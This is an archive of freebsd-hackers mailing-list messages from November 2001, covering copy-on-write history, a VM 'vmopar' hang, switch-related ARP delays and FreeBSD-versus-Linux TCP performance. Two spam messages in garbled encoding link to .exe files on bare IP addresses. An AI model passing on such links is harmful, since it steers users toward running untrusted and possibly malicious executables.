with ESMTP id A24F437B41A for ; Tue, 27 Nov 2001 12:24:47 -0800 (PST) Received: from nas-cbv-7-22-105.dial.proxad.net (nas-cbv-7-22-105.dial.proxad.net [213.228.22.105]) by postfix2-2.free.fr (Postfix) with ESMTP id 3E5F95FB7A; Tue, 27 Nov 2001 21:24:45 +0100 (CET) Date: Tue, 27 Nov 2001 18:31:31 +0100 (CET) From: =?ISO-8859-1?Q?G=E9rard_Roudier?= X-X-Sender: To: setantae Cc: Andrey Pugachev , Subject: Re: Does FreeBSD support copy-on-write pages? In-Reply-To: <20011127190515.GA15358@rhadamanth> Message-ID: <20011127182404.F2369-100000@gerard> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 27 Nov 2001, setantae wrote: > On Tue, Nov 27, 2001 at 06:54:17PM -0000, Andrey Pugachev wrote: > > I am just curious, can FreeBSD kernel perform function called copy-on-w= rite? > > As far as I am aware, the BSD family of operating systems have always > used copy-on-write (at least since 4.3BSD). My awareness is different and tells me that 4.3BSD had just vfork() but not COW yet, while System V had it years before. Sorry if I am wrong. G=E9rard. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 13:53:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 140C637B42A for ; Tue, 27 Nov 2001 13:52:45 -0800 (PST) Received: from pc3-card4-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 168q9i-0004Bw-00; Tue, 27 Nov 2001 21:52:42 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 168q9d-0004OI-00; Tue, 27 Nov 2001 21:52:37 +0000 Date: Tue, 27 Nov 2001 21:52:36 +0000 From: setantae To: =?iso-8859-1?Q?G=E9rard?= Roudier Cc: Andrey Pugachev , freebsd-hackers@FreeBSD.ORG Subject: Re: Does FreeBSD support copy-on-write pages? Message-ID: <20011127215236.GA16727@rhadamanth> References: <20011127190515.GA15358@rhadamanth> <20011127182404.F2369-100000@gerard> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20011127182404.F2369-100000@gerard> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 27, 2001 at 06:31:31PM +0100, Gérard Roudier wrote: > > > On Tue, 27 Nov 2001, setantae wrote: > > > On Tue, Nov 27, 2001 at 06:54:17PM -0000, Andrey Pugachev wrote: > > > I am just curious, can FreeBSD kernel perform function called copy-on-write? > > > > As far as I am aware, the BSD family of operating systems have always > > used copy-on-write (at least since 4.3BSD). > > My awareness is different and tells me that 4.3BSD had just vfork() but > not COW yet, while System V had it years before. Sorry if I am wrong. You're not. My bad. At home now, and checking my daemon book I see SystemV, Release 2 got it in 1984, and it was introduced in 4.4BSD in 1993. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 14:59:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id C9E0837B416 for ; Tue, 27 Nov 2001 14:59:17 -0800 (PST) Received: from onyx (onyx.cs.binghamton.edu [128.226.140.171]) by bingnet2.cc.binghamton.edu (8.11.6/8.11.6) with ESMTP id fARMx3q04381; Tue, 27 Nov 2001 17:59:03 -0500 (EST) Date: Tue, 27 Nov 2001 17:57:21 -0500 (EST) From: Zhihui Zhang X-Sender: zzhang@onyx To: freebsd-hackers@freebsd.org, xgalleri@enition.com Subject: Possible vmopar bug? (was malloc deadlock with M_NOWAIT) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG VM gurus: This seems to be bug! This morning I sent an email (attached below) regarding a hang at the "vmopar" state. While waiting for responses, I use Google Advanced Groups Search looking for "vmopar" in all FreeBSD archived mailing lists and I did find the following message posted by Xavier Galleri early this year (Sorry for this long URL line): http://groups.google.com/groups?selm=3A71C39F.8060109_enition.com%40ns.sol.net&output=gplain I run his program following his instructions in README file and the process indeed hangs just as he described: 10459 root -18 0 868K 436K vmopar 0:00 0.00% 0.00% mytest The file system intensive operation I used is (he suggested using tar): find /usr/src -name "*.c" -exec grep "hello" /dev/null {} \; After the process is stuck in "vmopar", I can not even use "reboot" to boot the system. This seems to be a bug in the VM system (I am using 4.4-Release). I hope some one can track this down. In this case, two different people (Xavier Galleri and me) can hang the system with different programs. I think it is worth investigation. --------------------------------------------------------------------------- My original email sent this morning follows: I am trying to allocate a dynamic number of large memory (128K) by malloc(128K, M_xxx, M_NOWAIT). Although this is not done in an interrupt routine, I figure I'd better use M_NOWAIT so that I can deal with the situation when the memory is low. However, I experience the following deadlock: #1 0xc02d8f4d in vm_object_page_remove (object=0xc03fa060, start=5690, end=5722, clean_only=0) at ../../vm/vm_object.c:1459 #2 0xc02d53ce in vm_map_delete (map=0xc03f9ee0, start=3243479040, end=3243610112) at ../../vm/vm_map.c:1872 #3 0xc02d35e3 in kmem_malloc (map=0xc03f9ee0, size=131072, flags=1) at ../../vm/vm_kern.c:365 #4 0xc01baed7 in malloc (size=131072, type=0xc0f6ab60, flags=1) at ../../kern/kern_malloc.c:188 The process that calls mallocs() hangs at the following statement inside vm_object_page_remove(): vm_page_sleep_busy(p, TRUE, "vmopar") At the same time, the entire system also freezes. I am wondering if I am doing the right thing here. Maybe 128K is too large for such a use? I am using 4.4-Release. Thanks for any help. -Zhihui To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 15:12: 4 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from inje.iskon.hr (inje.iskon.hr [213.191.128.16]) by hub.freebsd.org (Postfix) with ESMTP id E9FE537B417 for ; Tue, 27 Nov 2001 15:11:55 -0800 (PST) Received: from tel.fer.hr (zg04-024.dialin.iskon.hr [213.191.137.25]) by mail.iskon.hr (8.11.4/8.11.4/Iskon 8.11.3-1) with ESMTP id fARNBgT06011; Wed, 28 Nov 2001 00:11:43 +0100 (MET) Message-ID: <3C041DA8.9A13167D@tel.fer.hr> Date: Wed, 28 Nov 2001 00:11:36 +0100 From: Marko Zec X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: David Kirchner Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds (fwd) References: <20011127104436.W15780-100000@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG As Cisco switches have STP enabled by default on all ports, maybe a reboot of an 4.4 system is seen as a change in link state, so Catalyst holds the port STP-blocked for a couple of seconds before putting it to forwarding state. Did you try disabling STP on Catalyst eth ports? Marko David Kirchner wrote: > Hi, > > This problem is still ongoing; unfortunately I haven't seen a reply about > it from questions. Maybe someone here knows what's up? > > ---------- Forwarded message ---------- > Date: Thu, 15 Nov 2001 13:08:38 -0800 (PST) > From: David Kirchner > To: questions@FreeBSD.ORG > Subject: FreeBSD4.4, fxp, no net after ifconfig for ~50 seconds > > We've recently started using FreeBSD 4.4 for production servers, in an > environment where servers between 3.2 and 4.3 have had no trouble. > Starting with 4.4, the servers have been booting up without being able to > see the network for around 50 seconds. > > tcpdump indicates that the gateway isn't responding to the ARP request for > x.x.x.1 right away. However, the gateway responds immediately to ARP > requests from 3.2 through 4.3 machines. All other ARP requests are > responded to immediately (ie, other FreeBSD 3.2-4.4 servers, even before > the gateway responds) > > I was wondering if a) anyone else has been experiencing similar trouble, > and b) if anything non-obvious has changed in the way FreeBSD ARP request > packets are sent that would cause this? > > Our network runs on primarily Cisco hardware, and the servers are > connected to Catalyst (29xx I believe) switches. The gateway is a Cisco > somethingorother router. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 16:56:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 88D8B37B416 for ; Tue, 27 Nov 2001 16:56:14 -0800 (PST) Received: from cain.gsoft.com.au (root@localhost [127.0.0.1]) by cain.gsoft.com.au (8.11.6/8.11.6) with ESMTP id fAS0u4S05484; Wed, 28 Nov 2001 11:26:04 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.5.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <002901c17775$2f05e900$5a30ddd5@a110c> Date: Wed, 28 Nov 2001 11:26:04 +1030 (CST) From: "Daniel O'Connor" To: Andrey Pugachev Subject: RE: Does FreeBSD support copy-on-write pages? Cc: freebsd-hackers@FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 27-Nov-2001 Andrey Pugachev wrote: > I am just curious, can FreeBSD kernel perform function called copy-on-write > pages in Windows NT world? This is tricky feature of NT memory manager. When > several processes (or threads) allocate identical write-enabled memory > pages, system does not allocate physical memory for each process data at > once. The NT kernel allocates only one copy of write-enabled memory region. FreeBSD does support COW when doing things like loading shared libraries and forking processes. I don't have an exact list or anything, but rather just remembering things mentioned on lists etc.. Maybe worth looking in the list archives for a more authorative answer. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 20:24: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from qk99.com (tc72-70.dialup.seed.net.tw [210.244.72.70]) by hub.freebsd.org (Postfix) with SMTP id 114FD37B405 for ; Tue, 27 Nov 2001 20:23:59 -0800 (PST) From: DtGsk@hotmail.com To: MMYvp@mail.sysnet.net.tw Subject: ¶W ¬¯ ªº ºô ¯ž DvgpOIpCS7wynsEsi8OMONWfk02z5 X-Mailer: Microsoft Outlook Express 5.50.4807.1700 Content-Type: text/plain; Content-Transfer-Encoding: Quoted-Printable X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20011128042359.114FD37B405@hub.freebsd.org> Date: Tue, 27 Nov 2001 20:23:59 -0800 (PST) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG **=A5x _=C6W _=B4=AB _=A9d _=AD=D1 _=BC=D6_ =B3=A1** : http://210.64.184.194/=A4J=B7|=BB=A1=A9=FA=C0=C9.exe **=C2=C5 _=A4=D1_ =B8=C9_ =A9=AB _=A4u_ =A7@ _=AB=C7 _=B3=CC_ =B7s _=A5=D8 _=BF=FD ** : http://210.64.184.203/=B3=CC=B7s=B8=C9=A9=AB=A5=D8=BF=FD.exe ***=A5=BB _=ABH_=A5=D1 _=AB=C2=A4O=B6=C7=BC=BD_ =A5N _=AC=B0 _ =B5o_ =B0e*** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 20:34:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tar.com (61-221-48-110.HINET-IP.hinet.net [61.221.48.110]) by hub.freebsd.org (Postfix) with SMTP id 0A0D137B419; Tue, 27 Nov 2001 20:34:07 -0800 (PST) From: uNoVhhtb@tcts.seed.net.tw To: uWoiSobKABQ@yahoo.com Subject: Œs §i €j ¬Ý ªO O0qCvBqSVXuko0tlToO X-Mailer: 5HcTUmx63HBrmZOIL Content-Type: text/plain; Content-Transfer-Encoding: Quoted-Printable X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20011128043407.0A0D137B419@hub.freebsd.org> Date: Tue, 27 Nov 2001 20:34:07 -0800 (PST) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG =A5x=C6W=B4=AB=A9d=AD=D1=BC=D6=B3=A1 : http://210.64.184.194/=A4J=B7|=BB=A1=A9=FA=C0=C9.exe =C2=C5=A4=D1=B8=C9=A9=AB=A4u=A7@=AB=C7=B3=CC=B7s=A5=D8=BF=FD : http://210.64.184.203/=B3=CC=B7s=B8=C9=A9=AB=A5=D8=BF=FD.exe =A5=BB=ABH=A5=D1 =AB=C2=A4O=B6=C7=BC=BD =A5N =AC=B0 =B5o =B0e To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 20:38:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from neva.sovintel.ru (neva.sovintel.ru [212.44.131.7]) by hub.freebsd.org (Postfix) with SMTP id 6A4DF37B405 for ; Tue, 27 Nov 2001 20:38:20 -0800 (PST) Received: (qmail 24909 invoked from network); 28 Nov 2001 04:05:23 -0000 Received: from ppp209-spb-213-221-48.sovintel.ru (HELO a110c) (213.221.48.209) by neva.sovintel.ru with SMTP; 28 Nov 2001 04:05:23 -0000 Message-ID: <000001c177c1$d987e580$d130ddd5@a110c> From: "Andrey Pugachev" To: "David Xu" , References: <200111280119.JAA15624@mail.viasoft.com.cn> Subject: Re: Does FreeBSD support copy-on-write pages? Date: Wed, 28 Nov 2001 02:08:29 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > FreeBSD has superior VM, tell me what NT can do while FreeBSD can not. It is easy: FreeBSD can not perform excellent lockup/reboot when "\t\b\b." being printed on the console screen. :) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 21: 8:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 4F2B837B416; Tue, 27 Nov 2001 21:08:21 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 3A8F77856B; Wed, 28 Nov 2001 15:38:17 +1030 (CST) Date: Wed, 28 Nov 2001 15:38:17 +1030 From: Greg Lehey To: developers@FreeBSD.org, FreeBSD Hackers Subject: FreeBSD performing worse than Linux? Message-ID: <20011128153817.T61580@monorchid.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23i Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've just been talking with a friend of mine from the Samba team. He's about to change jobs, and a lot of his work in future will involve FreeBSD. He's just been doing some performance testing, and while the numbers are pretty even (since he discovered soft updates :-), he's noticing some significant performance differences, particularly on the TCP/IP area. He is going to be sending me a copy of his preliminary report later today, and he doesn't mind sharing it. I'm a little concerned about the "Them vs. Us" attitude such a report could cause. He's not out to show that Linux is better than FreeBSD; on the contrary, he would be a lot happier if the results were in favour of FreeBSD, since otherwise he has to do something about it. I'd like a few of us to take a look at what he's done first, and either point out where he can tune the FreeBSD system, or how to find and eliminate the bottlenecks. Who's interested? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 21:13:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns2.microbsd.net (ns2.microbsd.net [4.23.122.20]) by hub.freebsd.org (Postfix) with ESMTP id 1B08B37B405; Tue, 27 Nov 2001 21:13:12 -0800 (PST) Received: from microbsd.net (mobile.microbsd.net [4.23.122.60]) by ns2.microbsd.net (Postfix) with ESMTP id 8CEA82EB; Wed, 28 Nov 2001 00:24:58 -0500 (EST) Message-ID: <3C018888.7060508@microbsd.net> Date: Sun, 25 Nov 2001 19:10:48 -0500 From: KERBERUS User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.6) Gecko/20011123 X-Accept-Language: en-us MIME-Version: 1.0 To: Greg Lehey Cc: developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sign me up Greg, I would love to assist, I also have performance tuned many systems even in a very secured state, just to get the last ounce out of them. Id be hapy to read/review on the results anyone has. Greg Lehey wrote: >I've just been talking with a friend of mine from the Samba team. > >He's about to change jobs, and a lot of his work in future will >involve FreeBSD. He's just been doing some performance testing, and >while the numbers are pretty even (since he discovered soft updates >:-), he's noticing some significant performance differences, >particularly on the TCP/IP area. > >He is going to be sending me a copy of his preliminary report later >today, and he doesn't mind sharing it. I'm a little concerned about >the "Them vs. Us" attitude such a report could cause. He's not out to >show that Linux is better than FreeBSD; on the contrary, he would be a >lot happier if the results were in favour of FreeBSD, since otherwise >he has to do something about it. I'd like a few of us to take a look >at what he's done first, and either point out where he can tune the >FreeBSD system, or how to find and eliminate the bottlenecks. Who's >interested? > >Greg > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:28:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pimout3-int.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102]) by hub.freebsd.org (Postfix) with ESMTP id 4B2DC37B416 for ; Tue, 27 Nov 2001 23:28:47 -0800 (PST) Received: from ensh (adsl-64-175-244-207.dsl.sntc01.pacbell.net [64.175.244.207]) by pimout3-int.prodigy.net (8.11.0/8.11.0) with ESMTP id fAS7Skx266262 for ; Wed, 28 Nov 2001 02:28:46 -0500 From: "EB" To: "'FreeBSD Hackers'" Subject: RE: FreeBSD performing worse than Linux? Date: Tue, 27 Nov 2001 23:28:51 -0800 Message-ID: <000001c177de$54f3bf70$0100a8c0@ensh> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 Importance: Normal In-Reply-To: <3C018888.7060508@microbsd.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'd be interested in the results, as well as potential for tuning that may not be "general knowledge" (i.e. not mentioned in tuning(7)). Regards. -----Original Message----- From: owner-freebsd-hackers@FreeBSD.ORG [mailto:owner-freebsd-hackers@FreeBSD.ORG] On Behalf Of KERBERUS Sent: Sunday, November 25, 2001 4:11 PM To: Greg Lehey Cc: developers@FreeBSD.org; FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? Sign me up Greg, I would love to assist, I also have performance tuned many systems even in a very secured state, just to get the last ounce out of them. Id be hapy to read/review on the results anyone has. Greg Lehey wrote: >I've just been talking with a friend of mine from the Samba team. > >He's about to change jobs, and a lot of his work in future will >involve FreeBSD. He's just been doing some performance testing, and >while the numbers are pretty even (since he discovered soft updates >:-), he's noticing some significant performance differences, >particularly on the TCP/IP area. > >He is going to be sending me a copy of his preliminary report later >today, and he doesn't mind sharing it. I'm a little concerned about >the "Them vs. Us" attitude such a report could cause. He's not out to >show that Linux is better than FreeBSD; on the contrary, he would be a >lot happier if the results were in favour of FreeBSD, since otherwise >he has to do something about it. I'd like a few of us to take a look >at what he's done first, and either point out where he can tune the >FreeBSD system, or how to find and eliminate the bottlenecks. Who's >interested? > >Greg > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:41:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 6768B37B41A; Tue, 27 Nov 2001 23:41:25 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id AAA20870; Wed, 28 Nov 2001 00:41:23 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAS7fJU11999; Wed, 28 Nov 2001 00:41:19 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15364.38174.938500.946169@caddis.yogotech.com> Date: Wed, 28 Nov 2001 00:41:18 -0700 To: Greg Lehey Cc: developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: <20011128153817.T61580@monorchid.lemis.com> References: <20011128153817.T61580@monorchid.lemis.com> X-Mailer: VM 6.96 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I've just been talking with a friend of mine from the Samba team. > He's about to change jobs, and a lot of his work in future will > involve FreeBSD. He's just been doing some performance testing, and > while the numbers are pretty even (since he discovered soft updates > :-), he's noticing some significant performance differences, > particularly on the TCP/IP area. FWIW, I'm seeing this as well. However, this appears to be a new occurance, as we were using a FreeBSD 3.X system for our reference test platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting nothing but complaints about broken connections, poor performance, and very inconsistent results. They are now considering installing Linux on this box with the hope that they can get consistent results. (Unfortunately, FreeBSD 3.X is out because I convinced them that we needed to upgrade to 4.X due to security measures, so we can't go back.) Note, some of the performance issues were made better by disabling the TCP newreno implementation, but it's still poor and very inconsistent for hosts not on the local network, while the Linux box next to it gets much more consistent results. I know my lack of information isn't helping much, and that I've not done much to help debug the problem. However, all my attempts to track down what is causing this from a high-level (w/out digging into the code itself and analyzing tcpdump output) have come up empty. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:46:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id D45A237B417; Tue, 27 Nov 2001 23:46:38 -0800 (PST) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.6/8.11.6) with ESMTP id fAS7j7V25431; Wed, 28 Nov 2001 08:45:08 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: nate@yogotech.com (Nate Williams) Cc: Greg Lehey , developers@FreeBSD.org, FreeBSD Hackers Subject: Re: FreeBSD performing worse than Linux? In-Reply-To: Your message of "Wed, 28 Nov 2001 00:41:18 MST." <15364.38174.938500.946169@caddis.yogotech.com> Date: Wed, 28 Nov 2001 08:45:07 +0100 Message-ID: <25429.1006933507@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message <15364.38174.938500.946169@caddis.yogotech.com>, Nate Williams write s: >Note, some of the performance issues were made better by disabling the >TCP newreno implementation, but it's still poor and very inconsistent >for hosts not on the local network, while the Linux box next to it gets >much more consistent results. For what it's worth I have disabled newreno at my customer sites as well and felt and heard less "bogosity" since. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:50:57 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from homer.softweyr.com (softweyr.com [65.88.244.127]) by hub.freebsd.org (Postfix) with ESMTP id AFA3537B405; Tue, 27 Nov 2001 23:50:36 -0800 (PST) Received: from [::1] (helo=homer) by homer.softweyr.com with smtp (Exim 3.33 #1) id 1690Vq-0007YW-00; Wed, 28 Nov 2001 01:56:14 -0700 Date: Wed, 28 Nov 2001 01:56:14 -0700 From: Wes Peters To: nate@yogotech.com (Nate Williams) Cc: grog@lemis.com, developers@FreeBSD.org, hackers@FreeBSD.org Subject: Re: FreeBSD performing worse than Linux? Message-Id: <20011128015614.32e30d8b.wes@softweyr.com> In-Reply-To: <15364.38174.938500.946169@caddis.yogotech.com> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> Organization: Softweyr LLC X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; i386--freebsd4.4) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 28 Nov 2001 00:41:18 -0700 "Nate Williams" wrote: > > FWIW, I'm seeing this as well. However, this appears to be a new > occurance, as we were using a FreeBSD 3.X system for our reference test > platform. I recently updated it to FreeBSD 4.4-RELEASE, and I'm getting > nothing but complaints about broken connections, poor performance, and > very inconsistent results. > > They are now considering installing Linux on this box with the hope that > they can get consistent results. (Unfortunately, FreeBSD 3.X is out > because I convinced them that we needed to upgrade to 4.X due to > security measures, so we can't go back.) And they somehow think any variant of Linux is going to be better on this point? My recent experience with Linux would say otherwise, but that was on an Intel Architecture Labs variant that is somewhat out of date, too. > Note, some of the performance issues were made better by disabling the > TCP newreno implementation, but it's still poor and very inconsistent > for hosts not on the local network, while the Linux box next to it gets > much more consistent results. Ick. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 23:51:33 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id 463C437B405; Tue, 27 Nov 2001 23:51:21 -0800 (PST) Received: from caddis.yogotech.com (caddis.yogotech.com [206.127.123.130]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id AAA21292; Wed, 28 Nov 2001 00:51:14 -0700 (MST) (envelope-from nate@yogotech.com) Received: (from nate@localhost) by caddis.yogotech.com (8.11.6/8.11.6) id fAS7pBW12077; Wed, 28 Nov 2001 00:51:11 -0700 (MST) (envelope-from nate) From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15364.38767.82340.347344@caddis.yogotech.com> Date: Wed, 